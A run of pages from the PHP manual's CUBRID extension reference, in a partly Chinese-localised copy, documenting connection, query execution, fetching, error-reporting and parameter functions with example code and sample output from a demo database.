P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

参见

  • cubrid_rollback() - Roll back a transaction
  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Establish the environment for connecting to CUBRID server

  • ? cubrid_commit
  • cubrid_connect ?
  • PHP Manual
  • CUBRID 函数
  • Establish the environment for connecting to CUBRID server

cubrid_connect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_connect_with_url — Establish the environment for connecting to CUBRID server

说明

cubrid_connect_with_url(
string $conn_url,
string $userid = ?,
string $passwd = ?,
bool $new_link = false
): resource

The cubrid_connect_with_url() function is used to establish the environment for connecting to your server by using connection information passed with an url string argument. If the HA feature is enabled in CUBRID, you must specify the connection information of the standby server, which is used for failover when failure occurs, in the url string argument of this function. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • alhosts : Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.
  • login_timeout : Timeout value (unit: msec.) for database login. The default value is 0, which means infinite postponement.
  • query_timeout : Timeout value (unit: msec.) for query request. Upon timeout, a message to cancel requesting a query transferred to server is sent. The return value can depend on the disconnect_on_query_timeout configuration; even though the message to cancel a request is sent to server, that request may succeed.
  • disconnect_on_query_timeout : Configures a value whether to immediately return an error of function being executed upon timeout. The default value is false.

Note:

? and : that are used as identifiers in PHP connection URL can't be included in the password. The following is an example of a password that is invalid to use as connection URL because it contains "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Passwords that contain ? or : may be passed as a separate parameter.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_connect_with_url($url, "dba", "12?");

If user or password is empty,you can't delete ":",the following is an example.

$url = "CUBRID:localhost:33000:demodb:::";

参数

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

new_link

If a second call is made to cubrid_connect_with_url() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect_with_url() always open a new connection, even if cubrid_connect_with_url() was called before with the same parameters.

返回值

Connection identifier, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_connect_with_url() url without properties example

<?php
$conn_url = "CUBRID:localhost:33000:demodb:dba::";
$con = cubrid_connect_with_url($conn_url);

if ($con) {
echo "connected successfully";
cubrid_execute($con, "create table person(id int,name char(16))");
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}
cubrid_disconnect($con);
}
?>

Example #2 cubrid_connect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?login_timeout=100";
$con = cubrid_connect_with_url ($conn_url);

if ($con) {
echo "connected successfully";
cubrid_execute($con, "create table person(id int,name char(16))");
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}
cubrid_disconnect($con);
}
?>

参见

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to a CUBRID Server

  • ? cubrid_connect_with_url
  • cubrid_current_oid ?
  • PHP Manual
  • CUBRID 函数
  • Open a connection to a CUBRID Server

cubrid_connect

(PECL CUBRID >= 8.3.1)

cubrid_connect — Open a connection to a CUBRID Server

说明

cubrid_connect(
string $host,
int $port,
string $dbname,
string $userid = ?,
string $passwd = ?,
bool $new_link = false
): resource

The cubrid_connect() function is used to establish the environment for connecting to your server by using your server address, port number, database name, user name, and password. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

参数

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database. If not given, the default value is "public".

passwd

User password. If not given, the default value is "".

new_link

If a second call is made to cubrid_connect() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect() always open a new connection, even if cubrid_connect() was called before with the same parameters.

返回值

Connection identifier, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

以上示例会输出：

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参见

  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Get OID of the current cursor location

  • ? cubrid_connect
  • cubrid_disconnect ?
  • PHP Manual
  • CUBRID 函数
  • Get OID of the current cursor location

cubrid_current_oid

(PECL CUBRID >= 8.3.0)

cubrid_current_oid — Get OID of the current cursor location

说明

cubrid_current_oid(resource $req_identifier): string

The cubrid_current_oid() function is used to get the oid of the current cursor location from the query result. To use cubrid_current_oid(), the query executed must be a updatable query, and the CUBRID_INCLUDE_OID option must be included during the query execution.

参数

req_identifier

Request identifier.

返回值

Oid of current cursor location, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_current_oid() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$res = cubrid_get($conn, $oid);

print_r($res);

cubrid_disconnect($conn);
?>

以上示例会输出：

Array
(
    [s_name] => X
    [f_name] => Mixed
)

参见

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Close a database connection

  • ? cubrid_current_oid
  • cubrid_drop ?
  • PHP Manual
  • CUBRID 函数
  • Close a database connection

cubrid_disconnect

(PECL CUBRID >= 8.3.0)

cubrid_disconnect — Close a database connection

说明

cubrid_disconnect(resource $conn_identifier = ?): bool

The cubrid_disconnect() function closes the connection handle and disconnects from server. If any request handle is not closed at this point, it will be closed. It is similar to the CUBRID MySQL compatible function cubrid_close().

参数

conn_identifier

Connection identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_disconnect() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
echo "connected successfully";

$req = cubrid_execute( $con, "create table person(id int,name char(10))");
if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}

$req = cubrid_execute( $con, "insert into person values(1,'James')");
if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}
cubrid_disconnect($con);
}
?>

参见

  • cubrid_close() - Close CUBRID connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.


Delete an instance using OID

  • ? cubrid_disconnect
  • cubrid_error_code_facility ?
  • PHP Manual
  • CUBRID 函数
  • Delete an instance using OID

cubrid_drop

(PECL CUBRID >= 8.3.0)

cubrid_drop — Delete an instance using OID

说明

cubrid_drop(resource $conn_identifier, string $oid): bool

The cubrid_drop() function is used to delete an instance from database by using the oid of the instance.

参数

conn_identifier

Connection identifier.

oid

Oid of the instance that you want to delete.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("--- Before Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

if (cubrid_drop($conn, $oid)) {
cubrid_commit($conn);
} else {
cubrid_rollback($conn);
}

cubrid_close_request($req);

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("\n--- After Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

--- Before Drop: ---
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

--- After Drop: ---
array(4) {
  ["a"]=>
  string(1) "2"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "4"
    [1]=>
    string(1) "5"
    [2]=>
    string(1) "7"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "44"
    [1]=>
    string(2) "55"
    [2]=>
    string(2) "66"
    [3]=>
    string(3) "666"
  }
  ["d"]=>
  string(10) "b         "
}

参见

  • cubrid_is_instance() - Check whether the instance pointed by OID exists

User Contributed Notes

There are no user contributed notes for this page.


Get the facility code of error

  • ? cubrid_drop
  • cubrid_error_code ?
  • PHP Manual
  • CUBRID 函数
  • Get the facility code of error

cubrid_error_code_facility

(PECL CUBRID >= 8.3.0)

cubrid_error_code_facility — Get the facility code of error

说明

cubrid_error_code_facility(): int

The cubrid_error_code_facility() function is used to get the facility code (level in which the error occurred) from the error code of the error that occurred during the API execution. Usually, you can get the error code when API returns false as its return value.

参数

此函数没有参数。

返回值

Facility code of the error code that occurred: CUBRID_FACILITY_DBMS, CUBRID_FACILITY_CAS, CUBRID_FACILITY_CCI, CUBRID_FACILITY_CLIENT.

示例

Example #1 cubrid_error_code_facility() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = @cubrid_execute($conn, "SELECT * FROM unknown");
if (!$req) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n",
cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}
?>

以上示例会输出：

Error facility: 1
Error code: -493
Error msg: Syntax: In line 1, column 15 before END OF STATEMENT
Syntax error: unexpected 'unknown'

参见

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get error code for the most recent function call

  • ? cubrid_error_code_facility
  • cubrid_error_msg ?
  • PHP Manual
  • CUBRID 函数
  • Get error code for the most recent function call

cubrid_error_code

(PECL CUBRID >= 8.3.0)

cubrid_error_code — Get error code for the most recent function call

说明

cubrid_error_code(): int

The cubrid_error_code() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

参数

此函数没有参数。

返回值

Error code of the error that occurred, or 0 (zero) if no error occurred.

示例

Example #1 cubrid_error_code() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_prepare($conn , "SELECT * FROM code WHERE s_name=?");

$req = @cubrid_execute($req);
if (!$req) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n",
cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}
?>

以上示例会输出：

Error facility: 4
Error code: -30015
Error msg: Some parameter not binded

参见

  • cubrid_error_code_facility() - Get the facility code of error
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get last error message for the most recent function call

  • ? cubrid_error_code
  • cubrid_execute ?
  • PHP Manual
  • CUBRID 函数
  • Get last error message for the most recent function call

cubrid_error_msg

(PECL CUBRID >= 8.3.0)

cubrid_error_msg — Get last error message for the most recent function call

说明

cubrid_error_msg(): string

The cubrid_error_msg() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

参数

此函数没有参数。

返回值

Error message that occurred.

示例

Example #1 cubrid_error_msg() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

if (!@cubrid_schema($conn, 100000)) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n",
cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}
?>

以上示例会输出：

Error facility: 2
Error code: -10015
Error msg: Invalid T_CCI_SCH_TYPE value

参见

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.


Execute a prepared SQL statement

  • ? cubrid_error_msg
  • cubrid_fetch ?
  • PHP Manual
  • CUBRID 函数
  • Execute a prepared SQL statement

cubrid_execute

(PECL CUBRID >= 8.3.0)

cubrid_execute — Execute a prepared SQL statement

说明

cubrid_execute(resource $conn_identifier, string $sql, int $option = 0): resource
cubrid_execute(resource $request_identifier, int $option = 0): bool

The cubrid_execute() function is used to execute the given SQL statement. It executes the query by using conn_identifier and SQL, and then returns the request identifier created. It is used for simple execution of query, where the parameter binding is not needed. In addition, the cubrid_execute() function is used to execute the prepared statement by means of cubrid_prepare() and cubrid_bind(). At this time, you need to specify arguments of request_identifier and option.

The option is used to determine whether to get OID after query execution and whether to execute the query in synchronous or asynchronous mode. CUBRID_INCLUDE_OID and CUBRID_ASYNC (or CUBRID_EXEC_QUERY_ALL if you want to execute multiple SQL statements) can be specified by using a bitwise OR operator. If not specified, neither of them isselected. If the flag CUBRID_EXEC_QUERY_ALL is set, a synchronous mode (sync_mode) is used to retrieve query results, and in such cases the following rules are applied:

  • The return value is the result of the first query.
  • If an error occurs in any query, the execution is processed as a failure.
  • In a query composed of q1 q2 q3, if an error occurs in q2 after q1 succeeds the execution, the result of q1 remains valid. That is, the previous successful query executions are not rolled back when an error occurs.
  • If a query is executed successfully, the result of the second query can be obtained using cubrid_next_result().

If the first argument is request_identifier to execute the cubrid_prepare() function, you can specify an option, CUBRID_ASYNC only.

参数

conn_identifier

Connection identifier.

sql

SQL to be executed.

option

Query execution option CUBRID_INCLUDE_OID, CUBRID_ASYNC, CUBRID_EXEC_QUERY_ALL.

request_identifier

cubrid_prepare() identifier.

返回值

Request identifier, when process is successful and first param is conn_identifier; true, when process is successful and first argument is request_identifier, 或者在失败时返回 false.

更新日志

版本 | 说明
8.4.0 | Add new option CUBRID_EXEC_QUERY_ALL.

示例

Example #1 cubrid_execute() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE name='100m Butterfly' and gender='M'", CUBRID_ASYNC);
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$history_req = cubrid_prepare($conn, "SELECT * FROM history WHERE event_code=?");
cubrid_bind($history_req, 1, $event_code, "number");
cubrid_execute($history_req);

printf("%-20s %-9s %-10s %-5s\n", "athlete", "host_year", "score", "unit");
while ($row = cubrid_fetch_array($history_req, CUBRID_ASSOC)) {
printf("%-20s %-9s %-10s %-5s\n",
$row["athlete"], $row["host_year"], $row["score"], $row["unit"]);
}

cubrid_close_request($history_req);

cubrid_disconnect($conn);
?>

以上示例会输出：

athlete              host_year score      unit
Phelps Michael       2004      51.25      time

参见

  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_bind() - Bind variables to a prepared statement as parameters
  • cubrid_next_result() - Get result of next query when executing multiple SQL statements
  • cubrid_close_request() - Close the request handle
  • cubrid_commit() - Commit a transaction
  • cubrid_rollback() - Roll back a transaction

User Contributed Notes

There are no user contributed notes for this page.


Fetch the next row from a result set

  • ? cubrid_execute
  • cubrid_free_result ?
  • PHP Manual
  • CUBRID 函数
  • Fetch the next row from a result set

cubrid_fetch

(PECL CUBRID >= 8.3.0)

cubrid_fetch — Fetch the next row from a result set

说明

cubrid_fetch(resource $result, int $type = CUBRID_BOTH): mixed

The cubrid_fetch() function is used to get a single row from the query result. The cursor automatically moves to the next row after getting the result.

参数

result

result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH, CUBRID_OBJECT. If you want to operate the lob object, you can use CUBRID_LOB.

返回值

Result array or object, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

The result can be received either as an array or as an object, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)
  • CUBRID_OBJECT : object that has the attribute name as the column name of query result

When type argument is omitted, the result will be received using CUBRID_BOTH option as default. When you want to receive query result in object data type, the column name of the result must obey the naming rules for identifiers in PHP. For example, column name such as "count(*)" cannot be received in object type.

示例

Example #1 cubrid_fetch() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT * FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch($req)) {
printf("%-40s %-10s %-6s %-20s\n",
$row["name"], $row["area"], $row["seats"], $row["address"]);
}

// if you want to operate lob object, you can use cubrid_fetch($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

以上示例会输出：

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Free the memory occupied by the result data

  • ? cubrid_fetch
  • cubrid_get_autocommit ?
  • PHP Manual
  • CUBRID 函数
  • Free the memory occupied by the result data

cubrid_free_result

(PECL CUBRID >= 8.3.0)

cubrid_free_result — Free the memory occupied by the result data

说明

cubrid_free_result(resource $req_identifier): bool

This function frees the memory occupied by the result data. It returns true on success or false on failure. Note that it can only frees the client fetch buffer now, and if you want free all memory, use function cubrid_close_request().

参数

req_identifier

This is the request identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_free_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM history WHERE host_year=2004 ORDER BY event_code");
$row = cubrid_fetch_assoc($req);
var_dump($row);

cubrid_free_result($req);
cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(5) {
  ["event_code"]=>
  string(5) "20005"
  ["athlete"]=>
  string(12) "Hayes Joanna"
  ["host_year"]=>
  string(4) "2004"
  ["score"]=>
  string(5) "12.37"
  ["unit"]=>
  string(4) "time"
}

User Contributed Notes

There are no user contributed notes for this page.


Get auto-commit mode of the connection

  • ? cubrid_free_result
  • cubrid_get_charset ?
  • PHP Manual
  • CUBRID 函数
  • Get auto-commit mode of the connection

cubrid_get_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_get_autocommit — Get auto-commit mode of the connection

说明

cubrid_get_autocommit(resource $conn_identifier): bool

The cubrid_get_autocommit() function is used to get the status of CUBRID database connection auto-commit mode.

For CUBRID 8.4.0, auto-commit mode is disabled by default for transaction management.

For CUBRID 8.4.1, auto-commit mode is enabled by default for transaction management.

参数

conn_identifier

Connection identifier.

返回值

true, when auto-commit is on.

false, when auto-commit is off.

null on error.

参见

  • cubrid_set_autocommit() - Set autocommit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.


Return the current CUBRID connection charset

  • ? cubrid_get_autocommit
  • cubrid_get_class_name ?
  • PHP Manual
  • CUBRID 函数
  • Return the current CUBRID connection charset

cubrid_get_charset

(PECL CUBRID >= 8.3.0)

cubrid_get_charset — Return the current CUBRID connection charset

说明

cubrid_get_charset(resource $conn_identifier): string

This function returns the current CUBRID connection charset and is similar to the CUBRID MySQL compatible function cubrid_client_encoding().

参数

conn_identifier

The CUBRID connection.

返回值

A string that represents the CUBRID connection charset on success, 或者在失败时返回 false.

示例

Example #1 cubrid_get_charset() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_get_charset($con));

?>

以上示例会输出：

CUBRID current charset: iso8859-1

参见

  • cubrid_client_encoding() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.


Get the class name using OID

  • ? cubrid_get_charset
  • cubrid_get_client_info ?
  • PHP Manual
  • CUBRID 函数
  • Get the class name using OID

cubrid_get_class_name

(PECL CUBRID >= 8.3.0)

cubrid_get_class_name — Get the class name using OID

说明

cubrid_get_class_name(resource $conn_identifier, string $oid): string

The cubrid_get_class_name() function is used to get the class name from oid. It doesn't work when selecting data from the system tables, for example db_class.

参数

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

返回值

Class name when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_get_class_name() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$class_name = cubrid_get_class_name($conn, $oid);

print_r($class_name);

cubrid_disconnect($conn);
?>

以上示例会输出：

code

参见

  • cubrid_is_instance() - Check whether the instance pointed by OID exists
  • cubrid_drop() - Delete an instance using OID

User Contributed Notes

There are no user contributed notes for this page.


Return the client library version

  • ? cubrid_get_class_name
  • cubrid_get_db_parameter ?
  • PHP Manual
  • CUBRID 函数
  • Return the client library version

cubrid_get_client_info

(PECL CUBRID >= 8.3.0)

cubrid_get_client_info — Return the client library version

说明

cubrid_get_client_info(): string

This function returns a string that represents the client library version.

参数

返回值

A string that represents the client library version on success, 或者在失败时返回 false.

示例

Example #1 cubrid_get_client_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

以上示例会输出：

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Returns the CUBRID database parameters

  • ? cubrid_get_client_info
  • cubrid_get_query_timeout ?
  • PHP Manual
  • CUBRID 函数
  • Returns the CUBRID database parameters

cubrid_get_db_parameter

(PECL CUBRID >= 8.3.0)

cubrid_get_db_parameter — Returns the CUBRID database parameters

说明

cubrid_get_db_parameter(resource $conn_identifier): array

This function returns the CUBRID database parameters, 或者在失败时返回 false. It returns an associative array with the values for the following parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT
  • PARAM_MAX_STRING_LENGTH
  • PARAM_AUTO_COMMIT

Database parameters
Parameter | Description
PARAM_ISOLATION_LEVEL | The transaction isolation level.
LOCK_TIMEOUT | CUBRID provides the lock timeout feature, which sets the waiting time (in seconds) for the lock until the transaction lock setting is allowed. The default value of the lock_timeout_in_secs parameter is -1, which means the application client will wait indefinitely until the transaction lock is allowed.
PARAM_AUTO_COMMIT | In CUBRID PHP, auto-commit mode is disabled by default for transaction management. It can be set by using cubrid_set_autocommit().

The following table shows the isolation levels from 1 to 6. It consists of table schema (row) and isolation level:

Levels of Isolation Supported by CUBRID
Name | Description
SERIALIZABLE (6) | In this isolation level, problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.
REPEATABLE READ CLASS with REPEATABLE READ INSTANCES (5) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience phantom read for the record R that was inserted by another transaction T2 when it is repeatedly retrieving a specific record.
REPEATABLE READ CLASS with READ COMMITTED INSTANCES (or CURSOR STABILITY) (4) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R read (non-repeatable read) that was updated and committed by another transaction T2 when it is repeatedly retrieving the record R.
REPEATABLE READ CLASS with READ UNCOMMITTED INSTANCES (3) | Default isolation level. Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.
READ COMMITTED CLASS with READ COMMITTED INSTANCES (2) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is viewing table A repeatedly. Transaction T1 may experience R' read (non-repeatable read) for the record that was updated and committed by another transaction T2 while it is retrieving the record R repeatedly.
READ COMMITTED CLASS with READ UNCOMMITTED INSTANCES (1) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is repeatedly viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.

参数

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

返回值

An associative array with CUBRID database parameters; on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.4.0 | Change LOCK_TIMEOUT to PARAM_LOCK_TIMEOUT, and MAX_STRING_LENGTH to PARAM_MAX_STRING_LENGTH in result.

示例

Example #1 cubrid_get_db_parameter() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

以上示例会输出：

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参见

